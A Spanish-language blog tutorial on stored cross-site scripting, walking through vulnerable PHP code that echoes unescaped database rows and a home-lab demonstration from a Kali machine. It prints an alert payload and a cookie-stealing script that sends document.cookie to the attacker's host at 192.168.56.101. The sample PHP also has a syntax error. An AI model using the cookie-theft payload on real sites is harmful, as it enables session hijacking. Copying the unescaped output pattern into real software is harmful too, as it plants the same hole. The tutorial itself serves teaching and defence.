Tutorial de Secuencia de Comandos entre Sitios - Cross Site Scripting (XSS)
Saludos a todos!! Esta semana discutiremos una vulnerabilidad llamada Secuencia de Comandos entre Sitios (o Cross-Site Scripting [XSS]).
La vulnerabilidad de Secuencia de Comandos entre Sitios afecta a los clientes de un servidor web. La vulnerabilidad en si consiste en la falta de sanizitacion de parte del servidor hacia el ingreso de datos del usuario. Asi, un atacante podria entonces inyectar codigo HTML para poder lograr que los clientes que descargen el html del servidor web, tambien ejecuten dichos payloads.
Asi pues analizemos el siguiente ejemplo. Tenemos una aplicacion web que registra la entrada y salida de los empleados de una compania. El codigo en PHP para registrar la entrada o salida del empleado a la base de datos es el siguiete:
$baseDeDatos = "Registros";
$usuario = "applicacion_web";
$contrasena = "Contr@sena_Sup3r_Segur4_2023";
$servidor = "MXSQLDEV01"
$conexion = new mysqli($servidor, $usuario, $contrasena, $baseDeDatos);
$usuario = $_POST["usuario"];
$sql = $conexion->("INSERT INTO EMPLEADOS_EVENTOS (usuario, fecha) VALUES (?, CURRENT_TIMESTAMP())");
$sql->bind_param("s", $usuario);
$sql->execute();
Analizando el codigo anterior nos damos cuenta de que primero se crea una conexion a la base de datos con el objeto MySQLi, proviendo usuario, contrasena, nombre del servidor y nombre de la base de datos. Despues nos damos cuenta de que la variable usuario provista por el usuario dentro de un POST no es sanitizada ni verificada de ninguna manera. Finalmente esta variable es adjuntada dentro de un comando SQL para insertar dichos datos dentro de la tabla EMPLEADOS_EVENTOS dentro de la base de datos.
Tambien analizaremos el codigo usado para visualizar la tabla EMPLEADOS_EVENTOS:
$sql = "SELECT EMPLEADO, FECHA FROM EMPLEADOS_EVENTOS";
$resultado = $conexion->query($sql);
while ($tupla = $resultado->fetch_array(MYSQLI_ASSOC)) {
echo $tupla["EMPLEADO"];
echo $tupla["FECHA"];
}
En el codigo anterior nos podemos dar cuenta que la aplicacion tampoco sanitiza el resultado obtenido de la base datos, simplemente lo imprime tal cual es obtenido de la base de datos.
Entonces, por diseno el ingreso que la aplicacion espera del usuario seria el nombre de un empleado como "Juan Gonzalez", "Maria Delgadillo", etc. Sin embargo, dado que esta aplicacion es vulnerable a Secuencia de Comandos entre Sitios (XSS), es posible inyectar codigo HTML en vez del nombre del empleado, por ejemplo usar el payload <script> alert("Hola Mundo!!!!") </script>. Entonces este codigo en Javascript seria ejecutado por el cliente/navegador.
Tipos de Secuencia de Comandos entre Sitios
Existen 2 tipos de Secuencia de Comandos entre Sitios:
- Secuencia de Comandos entre Sitios Reflejada:
Es cuando podemos inyectar codigo HTML dentro de aplicacion, sin embargo este codigo no tiene ninguna persistencia, es decir que nuestro payload no se almacenara dentro de un sistema de archivos o base de datos. - Secuencia de Comandos entre Sitios Guardada
Es cuando podemos inyectar codigo HTML dentro de la aplicacion, y este codigo es almacenado dentro de una base de datos o sistema archivos.
Un Ejemplo
Aqui un ejemplo donde tenemos un servidor web Apache en Ubuntu con una direccion IP de 192.168.56.102; y este es el anfitrion de una aplicacion que registra la hora de entrada de emplados de una compania ficticia. Tambien tenemos nuestro ordenador Kali con la direccion IP de 192.168.56.101. Si visitamos al servidor web con nuestro navegador podemos observar la aplicacion.
Voy a intentar ingresar mi nombre en el registro para ver el comportamiento de la aplicacion.
Pude registrar mi nombre satisfactoriamente, tambien podemos ver en la imagen, que fue registrada mi entrada. Ahora intentaremos inyectar codigo HTML, nuestro payload sera el siguiente:
<script>alert('Tottix')</script>
Al dar click en el boton de registrar nos damos cuenta de que nuestro payload fue ejecutado. Nuestro codigo en Javascript fue ejecutado. Si revisamos el codigo de la pagina nos podemos dar cuenta que nuestro contenido HTML fie interpretado por el navegador.
Esta vulnerabilidad va a afectar a cualquier usuario que visite esta aplicacion, ejecutando asi cualquier codigo Javascript que se halla inyectado. Es posible llevar aun mas lejos esta vulnerabilidad para obtener las cookies de los usuarios que visiten esta aplicacions con el siguiente payload.
<script>document.location=“http://192.168.56.101/?c=“+document.cookie;</script>
Solo tendriamos que tener nuestro servidor web para capturar dichas cookies.
Conclusion
En este articulo revisamo la vulnerabilidad de Secuencia de Comando entre Sitios (Corss-Site Scripting [XXS]). Dado al impacto que tiene, esta puede afectar a todos aquellos usuarios/clientes que accedan a dicha los sitios afectados. Es importante que como desarrollar siempre sanizites bien cualquier entrada del usuario, al igual que cualquier salida de la aplicaion. Nos veremos a la proxima!
Comentarios
Publicar un comentario